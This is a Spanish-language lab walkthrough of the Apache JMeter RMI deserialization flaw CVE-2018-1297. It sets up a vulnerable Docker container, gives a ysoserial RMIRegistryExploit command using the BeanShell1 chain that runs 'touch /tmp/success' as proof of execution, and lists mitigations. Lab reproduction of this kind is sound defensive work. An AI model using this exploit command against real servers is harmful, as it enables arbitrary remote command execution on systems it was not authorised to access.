Vulnerabilidad de ejecución de comandos por deserialización RMI en Jmeter (CVE-2018-1297)
Apache JMeter es un conjunto de software de código abierto escrito en Java por la American Apache Software Foundation para pruebas de estrés y rendimiento.
Las versiones 2.x y 3.x tienen una vulnerabilidad de deserialización, que un atacante puede explotar para ejecutar comandos arbitrarios en el servidor objetivo.
Ejecutar el entorno vulnerable:
docker compose up -d
Usé Docker en Kali Linux.
Una vez ejecutado, se inicia el servicio RMI y escucha en el puerto 1099.
Vulnerabilidad:
Utilice ysoserial directamente para explotar la vulnerabilidad.
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success'
Ingrese el comando anterior.
Se utilizó la cadena de explotación BeanShell1.
docker compose exec jmeter bash
Al ingresar al contenedor con el comando anterior, se puede ver que '/tmp/success' se ha creado exitosamente.

Resumen
Esta vulnerabilidad explota una falla de RMI (Remote Method Invocation) que puede ocurrir en aplicaciones basadas en Java.
El archivo 'ysoserial-0.0.6-SNAPSHOT-all.jar' utilizado aquí es parte del proyecto ysoserial, que se utiliza para generar cargas útiles que permiten la ejecución remota de código al explotar vulnerabilidades de deserialización de Java.
Esta carga útil tiene como objetivo ejecutar comandos como 'touch /tmp/success', y a través de esta vulnerabilidad, un atacante puede ejecutar comandos arbitrarios o modificar archivos del sistema en el sistema remoto.
Las medidas para mitigar esta vulnerabilidad incluyen la restricción de acceso al servicio RMI, controles de permisos estrictos y el filtrado de serialización de Java.